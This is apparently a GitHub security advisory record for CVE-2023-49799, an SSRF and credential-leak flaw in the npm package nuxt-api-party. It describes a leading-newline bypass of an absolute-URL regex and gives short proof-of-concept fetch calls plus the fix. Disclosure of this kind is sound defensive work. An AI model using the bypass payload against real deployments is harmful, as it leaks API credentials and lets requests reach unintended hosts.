{"id":"GHSA-3wfp-253j-5jxv","summary":"SSRF & Credentials Leak ","details":"### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [A previous vulnerability](https://huntr.dev/bounties/4c57a3f6-0d0e-4431-9494-4a1e7b062fbf/) allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF. \n\nThis vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF. \n\n### Details\n`nuxt-api-party` attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to [use a regular expression](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31) `^https?://`.\n\nThis regular expression can be bypassed by an absolute URL with leading whitespace. For example `\\nhttps://whatever.com` has a leading newline. \n\nAccording to the fetch specification, before a fetch is made the URL is normalized. \"To normalize a [byte sequence](https://infra.spec.whatwg.org/#byte-sequence) potentialValue, remove any leading and trailing [HTTP whitespace bytes](https://fetch.spec.whatwg.org/#http-whitespace-byte) from potentialValue.\" ([source](https://fetch.spec.whatwg.org/))\n\nThis means the final request will be normalized to `https://whatever.com`. We have bypassed the check and `nuxt-api-party` will send a request outside of the whitelist. \n\nThis could allow us to leak credentials or perform SSRF.\n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on `endpoint` will be undefined.\n```js\nawait fetch(\"/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nLeak of sensitive API credentials. SSRF.\n\n\n### Fix\nRevert to the previous method of detecting absolute URLs.\n```js\n  if (new URL(path, 'http://localhost').origin !== 'http://localhost') {\n      // ...\n  }\n```\n","aliases":["CVE-2023-49799"],"modified":"2026-09-10T03:49:59.222385719Z","published":"2023-12-12T00:49:44Z","database_specific":{"github_reviewed_at":"2023-12-12T00:49:44Z","nvd_published_at":"2023-12-09T00:15:07Z","cwe_ids":["CWE-918"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-3wfp-253j-5jxv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49799"},{"type":"WEB","url":"https://github.com/johannschopplich/nuxt-api-party/commit/72762a200fc19d997a0f84bce578c28698dc5270"},{"type":"WEB","url":"https://fetch.spec.whatwg.org"},{"type":"WEB","url":"https://fetch.spec.whatwg.org/#http-whitespace-byte"},{"type":"PACKAGE","url":"https://github.com/johannschopplich/nuxt-api-party"},{"type":"WEB","url":"https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31"},{"type":"WEB","url":"https://infra.spec.whatwg.org/#byte-sequence"}],"affected":[{"package":{"name":"nuxt-api-party","ecosystem":"npm","purl":"pkg:npm/nuxt-api-party"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/12/GHSA-3wfp-253j-5jxv/GHSA-3wfp-253j-5jxv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}